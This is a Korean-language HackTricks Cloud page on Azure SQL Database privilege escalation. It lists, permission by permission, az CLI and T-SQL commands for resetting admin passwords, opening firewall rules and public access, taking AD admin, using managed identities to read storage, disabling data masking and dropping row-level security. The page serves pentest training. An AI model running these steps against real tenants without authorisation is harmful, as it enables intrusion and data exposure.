Az - SQL Database Privesc
Reading time: 5 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
SQL Database Privesc
SQL Database에 대한 자세한 정보는 다음을 확인하세요:
Microsoft.Sql/servers/read
&& Microsoft.Sql/servers/write
이 권한을 가진 사용자는 Azure SQL 서버를 업데이트하거나 생성하고, 관리 자격 증명을 포함한 중요한 구성을 수정하여 권한 상승을 수행할 수 있습니다. 이 권한은 사용자가 SQL 서버 관리자 비밀번호를 포함한 서버 속성을 업데이트할 수 있게 하여, 무단 접근 또는 서버에 대한 제어를 가능하게 합니다. 또한 새로운 서버를 생성할 수 있어, 악의적인 목적을 위한 그림자 인프라를 도입할 수 있습니다. "Microsoft Entra Authentication Only"가 비활성화된 환경에서는 SQL 기반 인증을 악용하여 무제한 접근을 얻을 수 있으므로 특히 중요해집니다.
# Change the server password
az sql server update \
--name <server_name> \
--resource-group <resource_group_name> \
--admin-password <new_password>
# Create a new server
az sql server create \
--name <new_server_name> \
--resource-group <resource_group_name> \
--location <location> \
--admin-user <admin_username> \
--admin-password <admin_passwor d>
또한 비공개 엔드포인트가 아닌 곳에서 접근하려면 공용 액세스를 활성화해야 합니다. 활성화하려면:
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--enable-public-network true
또한, 권한을 사용하여 할당된 ID를 활성화하고 서버에 연결된 관리 ID로 작업할 수 있습니다. 예를 들어, Azure Storage에 접근할 수 있는 관리 ID가 있는 경우:
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--assign_identity
CREATE DATABASE SCOPED CREDENTIAL [ManagedIdentityCredential]
WITH IDENTITY = 'Managed Identity';
GO
CREATE EXTERNAL DATA SOURCE ManagedIdentity
WITH (
TYPE = BLOB_STORAGE,
LOCATION = 'https://<storage-account>.blob.core.windows.net/<container>',
CREDENTIAL = ManagedIdentityCredential
);
GO
SELECT *
FROM OPENROWSET(
BULK 'message.txt',
DATA_SOURCE = 'ManagedIdentity',
SINGLE_CLOB
) AS DataFile;
GO
Microsoft.Sql/servers/firewallRules/write
공격자는 Azure SQL 서버의 방화벽 규칙을 조작하여 무단 액세스를 허용할 수 있습니다. 이를 통해 특정 IP 주소나 전체 IP 범위, 공용 IP를 포함하여 서버를 열 수 있으며, 악의적인 행위자에게 접근을 가능하게 합니다. 이 사후 활용 활동은 기존 네트워크 보안 제어를 우회하거나 지속성을 확립하거나 민감한 리소스를 노출시켜 환경 내에서 수평 이동을 촉진하는 데 사용될 수 있습니다.
# Create Firewall Rule
az sql server firewall-rule create \
--name <new-firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <start-ip-address> \
--end-ip-address <end-ip-address>
# Update Firewall Rule
az sql server firewall-rule update \
--name <firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <new-start-ip-address> \
--end-ip-address <new-end-ip-address>
또한, Microsoft.Sql/servers/outboundFirewallRules/delete
권한을 사용하면 방화벽 규칙을 삭제할 수 있습니다.
참고: 공용 액세스를 활성화해야 합니다.
Microsoft.Sql/servers/ipv6FirewallRules/write
이 권한을 사용하면 Azure SQL Server에서 IPv6 방화벽 규칙을 생성, 수정 또는 삭제할 수 있습니다. 이는 공격자나 권한이 있는 사용자가 기존 네트워크 보안 구성을 우회하고 서버에 무단으로 접근할 수 있게 할 수 있습니다. 모든 IPv6 주소에서 트래픽을 허용하는 규칙을 추가함으로써, 공격자는 서버를 외부 접근에 열 수 있습니다.
az sql server firewall-rule create \
--server <server_name> \
--resource-group <resource_group_name> \
--name <rule_name> \
--start-ip-address <start_ipv6_address> \
--end-ip-address <end_ipv6_address>
또한, Microsoft.Sql/servers/ipv6FirewallRules/delete
권한을 사용하면 방화벽 규칙을 삭제할 수 있습니다.
참고: 공용 액세스를 활성화해야 합니다.
Microsoft.Sql/servers/administrators/write
&& Microsoft.Sql/servers/administrators/read
이 권한을 사용하면 Azure SQL Server 환경에서 SQL 데이터베이스에 접근하고 중요한 정보를 검색하여 권한 상승을 할 수 있습니다. 아래 명령어를 사용하면 공격자 또는 권한이 있는 사용자가 자신 또는 다른 계정을 Azure AD 관리자 계정으로 설정할 수 있습니다. "Microsoft Entra Authentication Only"가 활성화된 경우 서버 및 해당 인스턴스에 접근할 수 있습니다. SQL 서버의 Azure AD 관리자를 설정하는 명령어는 다음과 같습니다:
az sql server ad-admin create \
--server <server_name> \
--resource-group <resource_group_name> \
--display-name <admin_display_name> \
--object-id <azure_subscribtion_id>
Microsoft.Sql/servers/azureADOnlyAuthentications/write
&& Microsoft.Sql/servers/azureADOnlyAuthentications/read
이 권한을 사용하면 Azure SQL Server에서 "Microsoft Entra Authentication Only"를 구성하고 시행할 수 있으며, 이는 특정 시나리오에서 권한 상승을 촉진할 수 있습니다. 공격자 또는 이러한 권한을 가진 승인된 사용자는 Azure AD 전용 인증을 활성화하거나 비활성화할 수 있습니다.
#Enable
az sql server azure-ad-only-auth enable \
--server <server_name> \
--resource-group <resource_group_name>
#Disable
az sql server azure-ad-only-auth disable \
--server <server_name> \
--resource-group <resource_group_name>
Microsoft.Sql/servers/databases/dataMaskingPolicies/write
SQL 데이터베이스의 데이터 마스킹 정책을 수정(또는 비활성화)합니다.
az rest --method put \
--uri "https://management.azure.com/subscriptions/<your-subscription-id>/resourceGroups/<your-resource-group>/providers/Microsoft.Sql/servers/<your-server>/databases/<your-database>/dataMaskingPolicies/Default?api-version=2021-11-01" \
--body '{
"properties": {
"dataMaskingState": "Disable"
}
}'
Row Level Security 제거
관리자로 로그인하면, 관리자 자신과 다른 사용자의 정책을 제거할 수 있습니다.
DROP SECURITY POLICY [Name_of_policy];
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.